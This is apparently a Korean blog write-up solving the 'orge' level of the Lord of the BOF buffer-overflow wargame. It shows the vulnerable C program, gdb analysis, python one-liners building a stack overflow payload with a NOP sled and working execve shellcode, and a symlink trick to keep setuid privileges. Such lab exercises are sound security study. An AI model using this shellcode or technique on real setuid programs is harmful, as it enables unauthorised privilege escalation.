[LOB] level7, darkelf -> orge 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 5. 02:35
반응형
LOB, darkelf -> orge 문제 확인
이전 문제에서 argv[0]의 길이가 77인지 체크하는 조건문이 추가되었다. 그 밖의 설명에 대해선 이전 문제들과 동일하니 따로 설명하지는 않겠다.
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
LOB, darkelf -> orge 풀이
argv[0]에는 실행시 입력한 실행 명령어가 저장되므로 해당 길이를 아무렇게나 77로 맞춰주면된다. 난 애초에 gdb를 실행할 때부터 77길이를 맞춰서 실행시켰다.
strcpy 호출 뒤에 bp를 건 후 argv[2]에 B를 100개 넘겨주었다.
쭉쭉 내리다보면 0x42를 확인할 수 있다. argv[2]는 길이체크를 하지 않기 때문에 argv[2]에 nop과 쉘코드를 넣어주면 된다.
실행 명령어를 77바이트로 맞추고 argv[1]에 더미 44바이트와 argv[2] 부근의 적당한 주소를 주고 argv[2]에 nop과 쉘코드를 넣어주었다.
`python -c 'print "/tmp"+"/"*69+"orge"'`
`python -c 'print "\x90"*44+"\xe4\xfb\xff\xbf"'`
`python -c 'print "\x90"*5000+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
바로 쉘이 따지진 않았고 코어덤프가 생겼다. gdb로 코어파일을 확인해보면 내가 RET에 넘겨준 주소값과 실제 nop과 좀 차이가 많이났다.
따라서 RET에 덮을 주소를 아래 nop이 있는 주소로 적당히 변경해준다.
LOB, darkelf -> orge 익스플로잇
그런데 한가지 문제점이 tmp에 있는 파일을 대상으로 하면 복사파일이기 때문에 익스가 성공해도 orge 계정 권한을 획득할 수 없게된다. 따라서 고민하던 중 링크를 참고해서, 심볼릭 링크를 거는 방법을 사용해서 쉘을 획득 할 수 있게됐다.
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level9, troll -> vampire 풀이 (0) | 2020.04.06 |
---|---|
[LOB] level8, orge-> troll풀이 (0) | 2020.04.05 |
[LOB] level6, wolfman -> darkelf 풀이 (0) | 2020.04.04 |
[LOB] level5, orc -> wolfman 풀이 (0) | 2020.04.04 |
[LOB] level4, goblin -> orc 풀이 (0) | 2020.04.04 |